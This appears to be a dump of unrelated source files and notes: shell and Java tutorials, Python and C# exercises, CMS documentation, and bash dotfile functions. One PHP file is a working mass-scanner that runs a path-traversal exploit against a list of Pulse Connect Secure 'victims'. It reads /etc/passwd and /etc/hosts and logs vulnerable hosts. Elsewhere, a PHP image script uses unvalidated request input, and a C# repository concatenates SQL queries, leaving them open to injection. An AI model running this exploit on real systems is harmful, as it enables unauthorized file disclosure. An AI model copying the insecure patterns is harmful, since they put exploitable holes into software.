# Introduction The shell is a program that enables us to send commands to the computer and receive output. It is also referred to as the terminal or command line. You need to download some files to follow this lesson: 1. Download [data-shell.zip](data/data-shell.zip ':ignore') and move the file to your Desktop. 2. Unzip/extract the file. You should end up with a new folder called **data-shell** on your Desktop. 3. Open a terminal and type `cd`, then press the Enter key. That last step will make sure you start with your home folder as your working directory. In the lesson, you will find out how to access the data in this folder. ## Where to type commands: How to open a new shell Some computers include a default Unix Shell program. The steps below describe some methods for identifying and opening a Unix Shell program if you already have one installed. There are also options for identifying and downloading a Unix Shell program, a Linux/UNIX emulator, or a program to access a Unix Shell on a server. For students using a laptop running Linux that has been provided by the School of Computer Science and Informatics, you can open a shell using the 'Terminal' program, which can be found in the applications menu. ### Linux The default Unix Shell for Linux operating systems is usually Bash. On most versions of Linux, it is accessible by running the [(Gnome) Terminal](https://help.gnome.org/users/gnome-terminal/stable/) or [(KDE) Konsole](https://konsole.kde.org/) or [xterm](https://en.wikipedia.org/wiki/Xterm), which can be found via the applications menu or the search bar. If your machine is set up to use something other than bash, you can run it by opening a terminal and typing `bash`. ### Mac OS For a Mac computer, the default Unix Shell is Bash, and it is available via the Terminal Utilities program within your Applications folder. To open Terminal, try one or both of the following: * Go to your Applications. Within Applications, open the Utilities folder. Locate Terminal in the Utilities folder and open it. * Use the Mac ‘Spotlight’ computer search function. Search for: `Terminal` and press <kbdReturn</kbd. #### Reference [How to Use Terminal on a Mac](http://www.macworld.co.uk/feature/mac-software/how-use-terminal-on-mac-3608274/) ### Windows Computers with Windows operating systems do not automatically have a Unix Shell program installed. In this lesson, we encourage you to use an emulator included in Git for Windows, which gives you access to both Bash shell commands and Git. Once installed, you can open a terminal by running the program Git Bash from the Windows start menu. Other solutions are available for running Bash commands on Windows. There is now a Bash shell command-line tool available for Windows 10. Additionally, you can run Bash commands on a remote computer or server that already has a Unix Shell, from your Windows machine. This can usually be done through a Secure Shell (SSH) client. One such client available for free for Windows computers is PuTTY. See the reference below for information on installing and using PuTTY, using the Windows 10 command-line tool, or installing and using a Unix/Linux emulator. #### Reference * [Git for Windows](https://git-for-windows.github.io/) - *Recommended* ### For advanced users, you may choose one of the following alternatives: * [Install the Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/install-win10) * [Using a Unix/Linux emulator (Cygwin) or Secure Shell (SSH) client (Putty)](http://faculty.smu.edu/reynolds/unixtut/windows.html) !> Please note that commands in the Windows Subsystem for Linux (WSL) or Cygwin may differ slightly from those shown in this lesson.
Python
UTF-8
4,099
4.40625
4
[]
no_license
# 3.6 Animal Shelter: An animal shelter, which holds only dogs and cats, operates # on a strcitly "first in, first out" basis. People must adopt either the # "oldest" (based on arrival time) of all animals at the shelter, or they # can select whether they would prefer a dog or a cat (and will receive the # oldest animal of that type). They cannot select which specific animal they # would like. Create the data structures to maintain this system and implement # operations such as enqueue, dequeueAny, dequeueDog, and dequeueCat. You may # use the built-in LinkedList data structure. from enum import Enum from collections import deque class AnimalType(Enum): dog = 1 cat = 2 class Animal: def __init__(self, name, type_): self.name = name self.type = type_ def __str__(self): return self.name class AnimalShelter: """ >>> as_ = AnimalShelter() >>> as_.enqueue(Animal("Justin1", AnimalType.dog)) >>> as_.enqueue(Animal("Justin2", AnimalType.cat)) >>> as_.enqueue(Animal("Justin3", AnimalType.dog)) >>> as_.enqueue(Animal("Justin4", AnimalType.dog)) >>> print(as_.dequeueCat()) Justin2 >>> print(as_.dequeueAny()) Justin1 >>> print(as_.dequeueCat()) None >>> print(as_.dequeueDog()) Justin3 """ def __init__(self): self.animals = deque() def enqueue(self, animal): self.animals.appendleft(animal) def dequeueAny(self): return self.animals.pop() def dequeueDog(self): temp_shelter = AnimalShelter() animal = self.dequeueAny() while animal.type != AnimalType.dog and self.animals: temp_shelter.enqueue(animal) animal = self.dequeueAny() if animal.type != AnimalType.dog: temp_shelter.enqueue(animal) return_dog = None else: return_dog = animal while temp_shelter.animals: self.animals.append(temp_shelter.animals.popleft()) return return_dog def dequeueCat(self): temp_shelter = AnimalShelter() animal = self.dequeueAny() while animal.type != AnimalType.cat and self.animals: temp_shelter.enqueue(animal) animal = self.dequeueAny() if animal.type != AnimalType.cat: temp_shelter.enqueue(animal) return_cat = None else: return_cat = animal while temp_shelter.animals: self.animals.append(temp_shelter.animals.popleft()) return return_cat class AnimalModified: def __init__(self, name): self._name = name def __str__(self): return str(self._name) def set_order(self, order): self._order = order def get_order(self): return self._order class Dog(AnimalModified): def __init__(self, name): super(Dog, self).__init__(name) class Cat(AnimalModified): def __init__(self, name): super(Cat, self).__init__(name) class AnimalShelterModified: """ >>> as_ = AnimalShelterModified() >>> as_.enqueue(Dog("Justin1")) >>> as_.enqueue(Cat("Justin2")) >>> as_.enqueue(Dog("Justin3")) >>> as_.enqueue(Dog("Justin4")) >>> print(as_.dequeueCat()) Justin2 >>> print(as_.dequeueAny()) Justin1 >>> print(as_.dequeueCat()) None >>> print(as_.dequeueDog()) Justin3 """ def __init__(self): self.dogs = deque() self.dog_size = 0 self.cats = deque() self.cat_size = 0 self.order = 0 def enqueue(self, animal): if type(animal).__name__ == "Dog": animal.set_order(self.order) self.order += 1 self.dogs.appendleft(animal) self.dog_size += 1 elif type(animal).__name__ == "Cat": animal.set_order(self.order) self.order += 1 self.cats.appendleft(animal) self.cat_size += 1 def dequeueAny(self): if self.cat_size == 0: return self.dequeueDog() elif self.dog_size == 0: return self.dequeueCat() else: dog = self.dequeueDog() cat = self.dequeueCat() if dog.get_order() < cat.get_order(): self.cats.append(cat) self.dog_size -= 1 return dog else: self.dogs.append(dog) self.cat_size -= 1 return cat def dequeueCat(self): if self.cat_size == 0: return None else: self.cat_size -= 1 return self.cats.pop() def dequeueDog(self): if self.dog_size == 0: return None else: self.dog_size -= 1 return self.dogs.pop() if __name__ == "__main__": import doctest doctest.testmod()
Python
UTF-8
881
3.40625
3
[]
no_license
class Solution: def searchRange(self, nums, target): res = [-1,-1] if not nums: return res left = 0 right = len(nums) - 1 while left < right: mid = (left+right) // 2 if nums[mid] >= target: right = mid else: left = mid + 1 if nums[left] != target: return res else: res[0] =left right = len(nums) - 1 while left < right: #取右中位数 mid = (left+right+1) // 2 if nums[mid] > target: right = mid - 1 else: left = mid res[1] = left return res # 2020.11.18 # 要求时间复杂度是logn,所以用二分法 # 从中间找到目标,然后往左右两边扩散
C#
UTF-8
419
2.6875
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Events { public class CarEventArgs : EventArgs { public string Message { get; } public double CurrentFuel { get; } public CarEventArgs(string message, double currentFuel) { Message = message; CurrentFuel = currentFuel; } } }
TypeScript
UTF-8
422
2.640625
3
[]
no_license
export interface Contact { _id?: string name: string email: string phone: string move: any coins: number imgUrl: string } // export class Contact { // constructor(public _id?: string, public name: string = '', public email: string = '', public phone: string = '') { // } // setId?() { // // Implement your own set Id // this._id = 'hkjgbjhb ' // } // }
Markdown
UTF-8
6,362
3.5
4
[]
no_license
# 上午作业 1. 抄写一份Hello.java放到当前路径下,编译运行Hello.java,请记录打开终端开始到程序运行期间所有输入的终端命令 - javac Hello.java 进行编译 - 生成以.class为后缀名的文件 - 输入java Hello运行文件 2. 将编译生成的Hello.class文件删除,编辑Hello.java将class后面的名称修改为test,然后编译Hello.java文件 - 生成的class文件名是什么 - 请尝试使用java运行编译后的文件,应该输入什么命令 - 生成的文件名叫test.class - 输入java test 3. 保持上一题的状态,编辑Hello.java将class后面的名称修改为Test,然后编译Hello.java - 是否生成新的class文件 - 请尝试使用java运行编译后的文件,应该输入什么命令 - 将test.class 重命名为test1.class后尝试运行,是否可以运行成功,如果不成功记录错误 - 将test.class 重命名为TEST.class尝试运行,是否可以运行成功,如果不成功记录错误 - 没有生成新的class文件 - java Test - 不可以运行成功:错误: 找不到或无法加载主类 test1 原因: java.lang.NoClassDefFoundError: Test (wrong name: test1) - 可以运行成功 4. 仿照Hello.java写一个HelloWorld.java, 其中class声明为HelloWorld,向屏幕输出Hello World! ``` promote:javase edz$ ls HelloWorld.java promote:javase edz$ javac HelloWorld.java promote:javase edz$ ls HelloWorld.class HelloWorld.java promote:javase edz$ java HelloWorld Hello Java! ``` # 今日笔记 ## java数据类型 ### 基本数据类型 1. java每个基本类型所占的存储区都是固定的; 2. Java没有提供无符号的数据类型,所有表示数字的数据类型都是有符号的; 3. java最常用的数据类型是int,表示大概2亿4千万的数字,long类型可以表示18至19位的十进制整数数字 4. char类型只能表示的65536个unicode字符 5. boolean类型只有两个值 true/false ### 引用数据类型 实际上,引用数据类型变量就是一个指针,只是java语言里不再使用指针这个说法。 #### 字面量 字面量代表了某类数据类型的具体的值 #### 整数字面量 `System.out.println(255);`//十进制表示255; `System.out.println(0xFF);`//十六进制表示255; `System.out.println(0B11111111);`//java之后用0b或者0B的二进制表示255; `System.out.println(0B1111_1111);`//可以使用下划线分割方便阅读; 整数字面量默认是int数据类型,如果定义的字面量数字超出了数据类型的存储范围,编译的时候将提示错误,可以使用L或l将数据类型指定为long类型,建议使用L,因为l和1长得比较像 #### 小数字面量 `System.out.println(314E-2); `// 表示314的10的负2次方=3.14 `System.out.println(0.0314e2);` // 表示0.0314的10的2次方=3.14 // 结尾使用D或d表示double数据类型 `System.out.println(3.14D);` // 结尾使用F或f表示float数据类型 `System.out.println(3.14F);` #### boolean字面量 `System.out.println(true);` // true `System.out.println(false);` // false #### 字符类型字面量 `System.out.println('c');` // c `System.out.println('\n');` // 输出一个空行 #### null `System.out.println(null);` // 编译报错 ### 变量 #### 变量的声明 和C语言一样:“数据类型 变量名” `int foo;` #### 命名规范 // 可以使用部分unicode码作为变量名,建议还是使用英文字符和数字 int 变量名可以是中文 = 123; `System.out.println(变量名可以是中文); `// 123 // 变量开头不能使用数字 `int 2a; `// 编译报错 // 建议使用驼峰命名法命名变量,使用名词来命名变量 `String variableName = "驼峰命名的变量";` #### 变量的初始化 java编译器要求使用变量之前,一定要对变量进行初始化,如果没有初始化,则不能通过编译。如果在分支内进行赋值,必须保证在所有的分支中进行赋值操作才能通过编译。 #### 常量 数据类型之前增加final来声明一个常量,常量一旦被赋值之后,就不能再次赋值,保证赋值只出现一次 ### 数组 #### java数组的创建 c语言中,数组在声明之后就会被分配存储空间,java语言不同,必须使用new来分配存储空间。数组变量声明不需要指定数组大小,必须在new后面的中括号中指定数组大小,new创建的数组的数据类型必须和定义的数组类型的变量的数据类型一致。 `int[] arr = new int[5];` #### 数组的初始化 `int[] arr = new int[]{1, 2, 3, 4, 5};` `int[] arr = {1, 2, 3, 4, 5};` #### 数组长度 `int[] lengthArr = new int[3];` `System.out.println(lengthArr.length); `// 3 #### 数组初始化的默认长度 ``` System.out.println((new int[1])[0]); // 0 System.out.println((new byte[1])[0]); // 0 System.out.println((new short[1])[0]); // 0 System.out.println((new char[1])[0]); // \u0000 空字符 System.out.println((new boolean[1])[0]); // false System.out.println((new float[1])[0]); // 0.0 System.out.println((new double[1])[0]); // 0.0 System.out.println((new String[1])[0]); // null ``` #### 数组变量是引用数据类型 ``` // 数组变量的相互赋值,是赋值的引用,对其中一个内容进行修改,会被另一个数组变量获取到 int[] refArr1 = new int[2]; refArr1[0] = 10; refArr1[1] = 10; int[] refArr2 = refArr1; System.out.println(refArr1[1]); // 输出10 refArr2[1] = 20; System.out.println(refArr1[1]); // 输出20 ``` ### 二维数组 ``` int[][] twoDimensionalArr; // 二维数组的创建只需要指定一维的大小就行了,因为创建了一个引用的数组,大小是3,无论每个引用指向的内容是多大都无所谓 twoDimensionalArr = new int[3][]; // 二维数组的长度就是一维数组的长度 System.out.println(twoDimensionalArr.length); // 3 // 如果没有指定二维的大小,那么每个引用里面的内容都是null // System.out.println(twoDimensionalArr[0].length); // java.lang.NullPointerException // 可以同时指定维度 twoDimensionalArr = new int[3][2]; System.out.println(twoDimensionalArr.length); // 3 // 如果指定了二维的大小,那么就会连带创建了每个二维的数组,这样引用中就不是null System.out.println(twoDimensionalArr[0].length); // 2 ```
Java
UTF-8
623
3.171875
3
[]
no_license
package com.boundary; /** * utility for printing bit patterns */ public class BitPrint { public static String fmt(long bits) { StringBuilder sb = new StringBuilder(); long mask = 1L<<63; for(int i = 1; i <= 64; i++) { if((mask & bits) == mask) sb.append("1"); else sb.append("0"); if(i%8 == 0) sb.append("|"); mask >>>= 1; } return sb.toString(); } public static String fmt(long ... buffer) { StringBuilder sb = new StringBuilder(); for(long bits : buffer) { sb.append(fmt(bits)).append("\n"); } return sb.toString(); } }
PHP
UTF-8
1,993
2.625
3
[]
no_license
<?php #Usage php pulse.php system('clear'); require "header.php"; $list = file_get_contents("list.txt"); $urls = explode("\n", $list); $count = count($urls); $passwd = "dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/"; $hosts = "dana-na/../dana/html5acc/guacamole/../../../../../../../etc/hosts?/dana/html5acc/guacamole/"; $path = "dana-na/nc/nc_gina_ver.txt"; function rce($url){ $data = curl_init(); curl_setopt($data, CURLOPT_RETURNTRANSFER, 1); curl_setopt($data, CURLOPT_URL, $url); // curl_setopt($data, CURLOPT_TIMEOUT, 30); curl_setopt($data, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"); $output = curl_exec($data); curl_close($data); return $output; } print "\033[96m[+] Victim $count Urls.\033[97m\n"; foreach ($urls as $list) { $shell = explode(PHP_EOL, $list); foreach ($shell as $shellchk) { $url = trim($shellchk); $product = rce($url.$path); echo "\nVictim : \033[96m$url\033[97m\n"; // print_r($product); preg_match_all('<PARAM NAME="ProductVersion" VALUE="(.*?)">', $product, $versi); if(preg_match("/ProductVersion/", $product)){ echo "[+] Pulse Connect Secure \033[92m"; print_r($versi[1][0]); echo "\033[97m\n"; } else{ echo "[+] Pulse Connect Secure \033[91mBad\033[97m\n"; } $leadpasswd = rce($url.$passwd); $leadhosts = rce($url.$hosts); if(preg_match("/root:x:0:0:root/", $leadpasswd)){ echo "[+] Arbitrary File Read \033[92mVuln\033[97m\n\n"; $save = @fopen("results.txt", "a"); fwrite($save, $url."\n"); fclose($save); echo "\033[92m[+] Lead etc/passwd\033[97m\n"; print_r($leadpasswd); echo "\n"; echo "\033[92m[+] Lead hosts\033[97m\n"; print_r($leadhosts); echo "\n"; } else{ echo "[+] Arbitrary File Read \033[91mBad\033[97m\n"; } } } print "\n\033[96mVulnerabilty victim save as to results.txt\033[97m\n"; ?>
Markdown
UTF-8
6,612
2.6875
3
[]
no_license
--- title: hyde description: a stateful, jekyll-friendly cms parser for javascript build pipelines. it's a beast! tags: - jekyll - hyde - ember - ember-cli - broccoli - nodejs --- ## Intro - This site _([https://anulman.com/www.aidans.computer](https://anulman.com/www.aidans.computer))_ - Auto-builds & deploys with Travis _([source](https://github.com/anulman/www.aidans.computer/blob/master/.travis.yml#L31-L41))_ - Compiling from a public GH project's `master` branch _([source](https://github.com/anulman/www.aidans.computer/tree/master))_ - With Jekyll-like content _([source](https://github.com/anulman/www.aidans.computer/tree/master/content))_ - To the repo's `gh-pages` branch _([source](https://github.com/anulman/www.aidans.computer/tree/gh-pages))_ - With a static "API" to site metadata + content _([source](https://github.com/anulman/www.aidans.computer/tree/gh-pages/hyde))_ - Using: - [`hyde`](https://github.com/anulman/hyde) (stateful, Jekyll-friendly CMS parser) - [`ember-cli-hyde`](https://github.com/anulman/ember-cli-hyde) (ember addon; funnels content dirs through the compiler, + exposes helpful models & components) - [`broccoli-hyde-compiler`](https://github.com/anulman/broccoli-hyde-compiler) (broccoli plugin; used by `ember-cli` to compile `hyde` directories) ## Build Pipeline + Config - `ember-cli-hyde` passes configured root dirs to the `broccoli-hyde-compiler` _([source](https://github.com/anulman/ember-cli-hyde/blob/master/index.js#L19-L30))_ - Which parses Markdown files with `hyde` _([source](https://github.com/anulman/broccoli-hyde-compiler/blob/master/src/index.js#L26))_ - And emits `.json` metadata + `.md` content files based on the final state _([source](https://github.com/anulman/broccoli-hyde-compiler/blob/master/src/index.js#L39-L50))_ - Supports configuring single & multiple directories (default = `content`) _([source](https://github.com/anulman/ember-cli-hyde/blob/master/lib/config.js#L47-L55))_ - n.b. any non-parseable files are copied into final content as-is _([source](https://github.com/anulman/broccoli-hyde-compiler/blob/master/src/index.js#L26-L36))_ ```javascript // ember-cli-build.js const EmberApp = require('ember-cli/lib/broccoli/ember-app'); let hyde = {}; // for multiple dirs: hyde.directories = ['content', 'docs']; // for single dirs: hyde.directories = 'content'; // or hyde.directory = 'docs'; module.exports = function(defaults) { let app = new EmberApp(defaults, { hyde }); return app.toTree(); } ``` ## Content "API" - Your app can then look up generic `hyde/item` or `hyde/collection` models _([source](https://github.com/anulman/www.aidans.computer/blob/master/app/pods/content/item/route.js#L8))_ - These are exposed by `ember-cli-hyde`, and offer a basic (+ extendable) interface for your generated content _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/models/hyde/item.js))_ - The models have adapters, which look up metadata + content at predictable (+ configurable) routes—your "database" _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/adapters/hyde.js))_ ## `{{markdown-section}}` Component - Your app can use `ember-cli-hyde`'s `{{markdown-section}}` component to render an item's content _([source](https://github.com/anulman/www.aidans.computer/blob/master/app/pods/content/item/template.hbs#L7))_ - It loads generated Markdown from the expected URL _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/components/markdown-section.js#L36))_ - Fetching logic lives in a globally-accessible service _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/services/hyde.js) :)_ - And can be configured to cache content (default = false) _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/components/markdown-section.js#L30-L32))_ - The component parses your markdown with `ember-cli-showdown`'s `{{markdown-to-html}}` component, configured w/ a highlightjs extension for syntax highlighting _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/templates/components/markdown-section.hbs#L2))_ - And exposes promise state, allowing for more advanced UI patterns, eg skeleton UI _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/templates/components/markdown-section.hbs#L1-L5))_ ## Pre-rendering - If your project is Fastboot-friendly & pre-renders HTML in build output with `prember`, `ember-cli-hyde` will register generated urls for pre-rendering _([source](https://github.com/anulman/ember-cli-hyde/blob/master/index.js#L16))_ - Each content dir may configure its urls' default `prefix`, `itemPrefix`, and `collectionPrefix` _([source](https://github.com/anulman/ember-cli-hyde/blob/master/lib/prember.js#L16-L39))_ - The `{{markdown-section}}` component will defer pre-rendering until Markdown is loaded, parsed, & painted _([source](https://github.com/anulman/ember-cli-hyde/blob/master/addon/components/markdown-section.js#L24-L26))_ ```javascript // ember-cli-build.js const EmberApp = require('ember-cli/lib/broccoli/ember-app'); let hyde = {}; // builder objects define a name, and one or many prefixes: let builder = { name: 'content', // required. string. use same name as configured directory name prefix: true, // optional. bool|string. default = null. `true` aliases to the builder's name. itemPrefix: 'items', // optional. string. default = null. does not accept `true` as alias collectionPrefix: 'collections' // optional. string. default = 'collections'. `true` aliases to default }; // the builder above will pre-render these url patterns for all items + collections compiled from the `content` dir: // - items: `/content/items/${itemId}` // - collections: `/content/collections/${collectionId}` // you may pass a single builder, or an array of builders: hyde.prember = builder; // or hyde.prember = [builder]; // if you do not configure prember's builders, e-cli-hyde will use the default prefixes for all compiled directories. // to disable this behavior, set to false: hyde.prember = false; module.exports = function(defaults) { let app = new EmberApp(defaults, { hyde }); return app.toTree(); } ``` ## Todos - Further tidy documentation - Add support for ordering content by priority / timestamp - Publish webpack pipeline, + helpers for react / vua / angular ecosystems - Make markdown-section a contextual component - Dynamically look up markdown-section layout? - Extract routes as ember engines? - Add tests for e-cli-hyde models, adapters, component - Add tests for broccoli-hyde-compiler
C#
UTF-8
3,328
2.828125
3
[]
no_license
using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Linq; using System.Web; namespace EveryDay.Calc.Webcalc.Repository { public class BaseRepository<T> : IRepository<T> where T : class { protected string connectionString = @"Data Source=(LocalDB)\MSSQLLocalDB;AttachDbFilename=C:\education\Calc-2\EveryDay.Calc\EveryDay.Calc.Webcalc\App_Data\calc.mdf;Integrated Security=True"; private string TableName { get; set; } private string SelectColumns { get; set; } private string Columns { get; set; } public BaseRepository(string tableName, IEnumerable<string> columns) { TableName = tableName; Columns = string.Join(", ", columns); SelectColumns = "Id, " + string.Join(", ", columns); } public void Create(T obj) { string queryString = string.Format("INSERT into {0} ({1}) values ({2})", TableName, Columns, WriteSingleRow(obj)); using (SqlConnection connection = new SqlConnection(connectionString)) { SqlCommand command = new SqlCommand(queryString, connection); connection.Open(); command.ExecuteNonQuery(); } } public void Delete(long Id) { throw new NotImplementedException(); } public IEnumerable<T> GetAll() { var result = new List<T>(); string queryString = string.Format("SELECT {1} FROM {0}", TableName, SelectColumns); using (SqlConnection connection = new SqlConnection(connectionString)) { SqlCommand command = new SqlCommand(queryString, connection); connection.Open(); SqlDataReader reader = command.ExecuteReader(); // Call Read before accessing data. while (reader.Read()) { result.Add(ReadSingleRow(reader)); } // Call Close when done reading. reader.Close(); } return result; } public virtual T ReadSingleRow(SqlDataReader record) { return null; } public virtual string WriteSingleRow(T obj) { return null; } public T Read(long Id) { T result = null; string queryString = string.Format("SELECT {1} FROM {0} WHERE {0}.Id = {2}", TableName, SelectColumns, Id); using (SqlConnection connection = new SqlConnection(connectionString)) { SqlCommand command = new SqlCommand(queryString, connection); connection.Open(); SqlDataReader reader = command.ExecuteReader(); // Call Read before accessing data. if (reader.HasRows) { reader.Read(); result = ReadSingleRow(reader); } // Call Close when done reading. reader.Close(); } return result; } public void Update(T obj) { throw new NotImplementedException(); } } }
PHP
UTF-8
1,656
2.796875
3
[]
no_license
<?php // change type of the page header('Content-type: image/jpeg') ; if (isset($_GET['source'])) { $source = $_GET['source'] ; // create new watermark image from existing image logo.jpg $watermark = imagecreatefrompng ('logo.png'); $watermark_height = imagesy ($watermark) ; $watermark_width = imagesx ($watermark) ; $image = imagecreatetruecolor ($watermark_width, $watermark_height) ; $image = imagecreatefromjpeg ($source) ; $image_size = getimagesize ($source) ; // set postion for watermark 10px from bottom and also from right $x = $image_size[0] - $watermark_width - 10 ; $y = $image_size[1] - $watermark_height - 10 ; // Now merge logo on image // imagecopymerge(dst_im, src_im, dst_x, dst_y, src_x, src_y, src_w, src_h, opacity) imagecopymerge($image, $watermark, $x, $y, 0, 0, $watermark_width, $watermark_height, 50) ; // put image on page and 2nd parameter save the resultant image imagejpeg($image) ; } else echo "Error 404 :(<br>"; ?> <?php /* // Load the stamp and the photo to apply the watermark to $stamp = imagecreatefrompng('stamp.png'); $im = imagecreatefromjpeg('photo.jpeg'); // Set the margins for the stamp and get the height/width of the stamp image $marge_right = 10; $marge_bottom = 10; $sx = imagesx($stamp); $sy = imagesy($stamp); // Copy the stamp image onto our photo using the margin offsets and the photo // width to calculate positioning of the stamp. imagecopy($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp)); // Output and free memory header('Content-type: image/png'); imagepng($im); imagedestroy($im); */ ?>
Java
UTF-8
6,399
1.804688
2
[ "Apache-2.0" ]
permissive
/* * Copyright 2016 Red Hat, Inc. and/or its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.uberfire.preferences.shared.bean; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import org.jboss.errai.common.client.api.annotations.MapsTo; import org.jboss.errai.common.client.api.annotations.Portable; /** * Holds all preference information necessary to build a hierarchic interface for preferences. * @param <T> Preference bean type. */ @Portable public class PreferenceHierarchyElement<T> { private String id; private BasePreferencePortable<T> portablePreference; private List<PreferenceHierarchyElement<?>> children; private boolean shared; private boolean root; private String bundleKey; private Map<String, String> bundleKeyByProperty; public PreferenceHierarchyElement() { this( null, null, false, false, null ); } public PreferenceHierarchyElement( final String id, final BasePreferencePortable<T> portablePreference, final boolean shared, final boolean root, final String bundleKey ) { this( id, portablePreference, new ArrayList<>(), shared, root, bundleKey, new HashMap<>() ); } public PreferenceHierarchyElement( @MapsTo("id") final String id, @MapsTo("portablePreference") final BasePreferencePortable<T> portablePreference, @MapsTo("children") final List<PreferenceHierarchyElement<?>> children, @MapsTo("shared") final boolean shared, @MapsTo("root") final boolean root, @MapsTo("bundleKey") final String bundleKey, @MapsTo("bundleKeyByProperty") final Map<String, String> bundleKeyByProperty ) { this.id = id; this.portablePreference = portablePreference; this.children = children; this.shared = shared; this.root = root; this.bundleKey = bundleKey; this.bundleKeyByProperty = bundleKeyByProperty; } public boolean isSelectable() { final boolean hasProperties = bundleKeyByProperty != null && bundleKeyByProperty.size() > 0; return hasProperties; } public boolean hasChildren() { return children != null && !children.isEmpty(); } public String getId() { return id; } public void setId( final String id ) { this.id = id; } public BasePreferencePortable<T> getPortablePreference() { return portablePreference; } public void setPortablePreference( final BasePreferencePortable<T> portablePreference ) { this.portablePreference = portablePreference; } public List<PreferenceHierarchyElement<?>> getChildren() { return children; } public void setChildren( final List<PreferenceHierarchyElement<?>> children ) { this.children = children; } public boolean isShared() { return shared; } public void setShared( final boolean shared ) { this.shared = shared; } public boolean isRoot() { return root; } public void setRoot( final boolean root ) { this.root = root; } public String getBundleKey() { return bundleKey; } public void setBundleKey( final String bundleKey ) { this.bundleKey = bundleKey; } public void addPropertyBundleKey( final String propertyFieldName, final String bundleKey ) { bundleKeyByProperty.put( propertyFieldName, bundleKey ); } public Map<String, String> getBundleKeyByProperty() { return bundleKeyByProperty; } @Override public boolean equals( final Object o ) { if ( this == o ) { return true; } if ( !( o instanceof PreferenceHierarchyElement ) ) { return false; } final PreferenceHierarchyElement<?> that = (PreferenceHierarchyElement<?>) o; if ( shared != that.shared ) { return false; } if ( root != that.root ) { return false; } if ( id != null ? !id.equals( that.id ) : that.id != null ) { return false; } if ( portablePreference != null ? !portablePreference.equals( that.portablePreference ) : that.portablePreference != null ) { return false; } if ( children != null ? !children.equals( that.children ) : that.children != null ) { return false; } if ( bundleKey != null ? !bundleKey.equals( that.bundleKey ) : that.bundleKey != null ) { return false; } return !( bundleKeyByProperty != null ? !bundleKeyByProperty.equals( that.bundleKeyByProperty ) : that.bundleKeyByProperty != null ); } @Override public int hashCode() { int result = id != null ? id.hashCode() : 0; result = ~~result; result = 31 * result + ( portablePreference != null ? portablePreference.hashCode() : 0 ); result = ~~result; result = 31 * result + ( children != null ? children.hashCode() : 0 ); result = ~~result; result = 31 * result + ( shared ? 1 : 0 ); result = ~~result; result = 31 * result + ( root ? 1 : 0 ); result = ~~result; result = 31 * result + ( bundleKey != null ? bundleKey.hashCode() : 0 ); result = ~~result; result = 31 * result + ( bundleKeyByProperty != null ? bundleKeyByProperty.hashCode() : 0 ); result = ~~result; return result; } }
Shell
UTF-8
10,574
4.25
4
[ "LicenseRef-scancode-warranty-disclaimer", "MIT" ]
permissive
#!/usr/bin/env bash # Create a new directory and enter it function mkd() { mkdir -p "$@" && cd "$_"; } # Create a .tar.gz archive, using 'zopfli', 'pigz' or 'gzip' for compression function targz() { local tmpFile="${@%/}.tar"; tar -cvf "${tmpFile}" --exclude=".DS_Store" "${@}" || return 1; size=$( stat -f"%z" "${tmpFile}" 2> /dev/null; # macOS 'stat' stat -c"%s" "${tmpFile}" 2> /dev/null; # GNU 'stat' ); local cmd=""; if (( size < 52428800 )) && hash zopfli 2> /dev/null; then # the .tar file is smaller than 50 MB and Zopfli is available; use it cmd="zopfli"; else if hash pigz 2> /dev/null; then cmd="pigz"; else cmd="gzip"; fi; fi; echo "Compressing .tar ($((size / 1000)) kB) using \`${cmd}\`…"; "${cmd}" -v "${tmpFile}" || return 1; [ -f "${tmpFile}" ] && rm "${tmpFile}"; zippedSize=$( stat -f"%z" "${tmpFile}.gz" 2> /dev/null; # macOS 'stat' stat -c"%s" "${tmpFile}.gz" 2> /dev/null; # GNU 'stat' ); echo "${tmpFile}.gz ($((zippedSize / 1000)) kB) created successfully."; } # Determine size of a file or total size of a directory function fs() { if du -b /dev/null > /dev/null 2>&1; then local arg=-sbh; else local arg=-sh; fi if [[ -n "$@" ]]; then du $arg -- "$@"; else du $arg .[^.]* ./*; fi; } # Use Git’s colored diff when available hash git &>/dev/null; if [ $? -eq 0 ]; then function diff() { git diff --no-index --color-words "$@"; } fi; # Compare original and gzipped file size function gz() { local origsize=$(wc -c < "$1"); local gzipsize=$(gzip -c "$1" | wc -c); local ratio=$(echo "$gzipsize * 100 / $origsize" | bc -l); printf "orig: %d bytes\n" "$origsize"; printf "gzip: %d bytes (%2.2f%%)\n" "$gzipsize" "$ratio"; } # Syntax-highlight JSON strings or files # Usage: 'json '{"foo":42}'' or 'echo '{"foo":42}' | json' function json() { if [ -t 0 ]; then # argument python -mjson.tool <<< "$*" | pygmentize -l javascript; else # pipe python -mjson.tool | pygmentize -l javascript; fi; } # UTF-8-encode a string of Unicode symbols function escape() { printf "\\\x%s" $(printf "$@" | xxd -p -c1 -u); # print a newline unless we’re piping the output to another program if [ -t 1 ]; then echo ""; # newline fi; } # Decode \x{ABCD}-style Unicode escape sequences function unidecode() { perl -e "binmode(STDOUT, ':utf8'); print \"$@\""; # print a newline unless we’re piping the output to another program if [ -t 1 ]; then echo ""; # newline fi; } # 'o' with no arguments opens the current directory, otherwise opens the given # location function o() { if [ $# -eq 0 ]; then open .; else open "$@"; fi; } # 'tre' is a shorthand for 'tree' with hidden files and color enabled, ignoring # the '.git' directory, 